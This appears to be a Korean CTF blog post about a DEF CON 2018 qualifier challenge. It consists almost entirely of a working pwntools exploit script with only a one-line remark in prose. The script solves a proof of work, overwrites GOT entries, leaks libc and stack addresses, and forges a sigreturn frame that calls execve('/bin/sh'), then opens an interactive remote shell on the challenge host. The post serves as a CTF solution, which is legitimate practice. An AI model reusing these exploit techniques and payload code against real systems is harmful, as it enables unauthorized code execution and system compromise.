튜기's bloggggg(st1tch)



흠..

이게 baby인지 잘 모르겠지만, 푸는데 시간이 좀 걸렸다




from pwn import *
#import stitch

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
p64 = lambda *x : flat(*x, word_size=64)
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))


def solver() :
    def fuck(pay):
        s.send(pay)
        sleep(0.3)

    d2h = lambda n : hex(n & 0xffffffffffffffff)
    chal, _, n = s.recvuntil('Solution').split()[3:6]
    print chal, n
    res = solve_pow(chal, int(n))
    s.sendline(str(res))
    s.recvuntil('Go')
    log.info('gogo')


    read_got = -56
    alarm_got = read_got-0x8
    ssp_got = read_got-0x10
    start = read_got + 0x8

    cmd = ';ls /home;'
    while True:
        print s.recvuntil('Go')
        fuck(p64(eval(d2h(ssp_got)))+'a'*0x10+'\x3e')
        fuck('\xd6')
        fuck('stitch')
        fuck('\x00')
        log.info('ssp_got -> read_plt+6')

        fuck(p64(eval(d2h(read_got)))+'a'*0x10+'\x3e')
        fuck('\xf0')
        fuck('\xaa')
        log.info('read->write')

        d = s.recvuntil('a'*0x10, timeout=0.3)
        if 'a'*0x10 not in d:
            return False
        tmp = s.recv(8)
        libc_base = u64(tmp)-0x21b3e
        s.recv(8)
        tmp = s.recv(8)
        rbp = u64(tmp)-0xe8
        s.recv(8)
        tmp = s.recv(8)
        main = u64(tmp)
        log.info('libc_base = {}'.format(hex(libc_base)))
        log.info('rbp = {}'.format(hex(rbp)))
        log.info('main = {}'.format(hex(main)))
        print hexdump(s.recv())

        ret = main+139
        trigger =  p64(libc_base+0x21b3e)
        syscall = libc_base + 0xD9B90 + 0x2000 + 14

        pay = p64(eval(d2h(ssp_got)))
        pay += '/bin/sh\x00'*2
        pay += p64(syscall)
        pay += p64(0) * 5   #dummy * 5(fastcall)
        pay += p64(0) #r8         (dummy)
        pay += p64(0) #r9         (dummy)
        pay += p64(0) #r10        (dummy)
        pay += p64(0) #r11        (dummy)
        pay += p64(0) #r12        (dummy)
        pay += p64(0) #r13        (dummy)
        pay += p64(0) #r14        (dummy)
        pay += p64(0) #r15        (dummy)
        pay += p64(rbp-8) #rdi        ('/bin/sh')
        pay += p64(0) #rsi
        pay += p64(0) #rbp        (dummy)
        pay += p64(0) #rbx        (dummy)
        pay += p64(0) #rdx
        pay += p64(59) #rax
        pay += p64(0) #rcx        (dummy)
        pay += p64(0) #rsp        (dummy)
        pay += p64(syscall) #rip        syscall
        pay += p64(0) #eflags     (dummy)
        pay += p64(0x33) #cs
        pay += p64(0) #gs         (dummy)
        pay += p64(0) #fs         (dummy)
        pay += p64(0) #__pad0     (dummy)
        pay += p64(0) #err        (dummy)
        pay += p64(0) #trapno
        pay += p64(0)#oldmask    (dummy)
        pay += p64(0)#cr2        (dummy)

        fuck(pay)
        fuck('\xd6')    
        fuck('stitch')
        fuck(pay[:15])

        sleep(0.5)
        s.sendline(cmd)

        s.interactive()
        cmd = raw_input()


if __name__ == '__main__' :
    while True:
        s = remote('e4771e24.quals2018.oooverflow.io', 31337)
        if solver():
            break
        else:
            s.close()


Comment +0